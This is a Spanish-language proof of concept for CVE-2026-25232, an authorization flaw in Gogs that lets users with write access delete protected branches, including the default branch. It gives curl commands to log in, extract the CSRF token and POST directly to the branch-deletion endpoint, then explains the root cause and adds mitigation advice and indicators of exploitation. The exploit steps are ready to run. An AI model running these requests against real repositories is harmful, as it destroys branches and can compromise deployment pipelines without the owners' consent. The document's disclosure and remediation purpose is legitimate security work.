
Prueba de concepto para el reciente CVE-2026-25232, que es una vulnerabilidad de escalada de privilegios presente en Gogs.
| Campo | Detalles |
|---|---|
| CVE | CVE-2026-25232 |
| Producto | Gogs (Go Git Service) |
| Versiones Afectadas | <= 0.13.4 |
| Versión Corregida | 0.14.1 |
| Puntuación CVSS | Media |
| CWE | CWE-863: Autorización Incorrecta |
| Autenticación Requerida | Sí (Permisos de escritura en un repositorio) |
| Impacto | Escalada de privilegios de Escritura → operaciones de nivel Administrador |
CVE-2026-25232 es una vulnerabilidad de omisión de control de acceso en la interfaz web de Gogs. Permite que cualquier colaborador del repositorio con permisos de Escritura elimine ramas protegidas — incluida la rama predeterminada — enviando una solicitud POST directa al endpoint DeleteBranchPost, omitiendo por completo los mecanismos de protección de ramas.
La causa raíz es una discrepancia entre cómo la capa de Git Hooks y la interfaz web aplican la protección de ramas:
DeleteBranchPost no activa Git Hooks, por lo que la verificación de protección nunca se ejecutaEsto permite que un colaborador con privilegios bajos realice operaciones que deberían estar restringidas únicamente a los administradores del repositorio.
http://<TARGET>:3001attacker:Password123! (Permisos de escritura en el repositorio)admin/important-repomain (rama predeterminada)Confirme que la rama está protegida y no se puede eliminar por medios normales:
# Intento de eliminación normal de rama mediante API - esto debería fallar
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
Respuesta esperada: 403 Forbidden o error de protección.
Obtenga el token CSRF de cualquier página autenticada:
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# Extraer el token CSRF de una página del repositorio
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
Envíe una solicitud POST directa al endpoint de eliminación de ramas, omitiendo la verificación de protección:
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
La rama protegida se elimina a pesar de que el atacante solo tiene permisos de Escritura.
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
La rama main ya no aparecerá en la respuesta.
La función DeleteBranchPost en el manejador web de Gogs valida que el usuario esté autenticado y tenga acceso de Escritura al repositorio, pero no verifica si la rama objetivo está protegida:
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
¿Verificación: el usuario está autenticado? ✓
¿Verificación: el usuario tiene acceso de Escritura? ✓
¿Verificación: la rama está protegida? ✗ (FALTA)
↓
Rama eliminada con éxito
La capa de Git Hooks que aplica la protección de ramas solo se activa durante operaciones push/delete de Git mediante SSH o protocolo Git HTTP — no durante operaciones de la interfaz web. Esta brecha arquitectónica significa que cualquier colaborador con nivel de Escritura puede realizar esta operación.
Un colaborador malicioso con permisos de Escritura puede:
En entornos donde los repositorios de Gogs alimentan pipelines de despliegue automatizado, esto podría provocar un compromiso de la cadena de suministro.
Actualice a Gogs v0.14.1 o posterior. La corrección añade verificaciones de autorización adecuadas en la función DeleteBranchPost para comprobar el estado de protección de ramas antes de permitir la eliminación, independientemente de cómo se realice la solicitud.
Como mitigación temporal:
/repos/{owner}/{repo}/branches/deleteBusque los siguientes indicadores de explotación:
/<owner>/<repo>/branches/delete en los registros del servidor webEste PoC es solo para fines educativos y pruebas de seguridad autorizadas. No lo utilice contra sistemas para los que no tenga permiso explícito de prueba.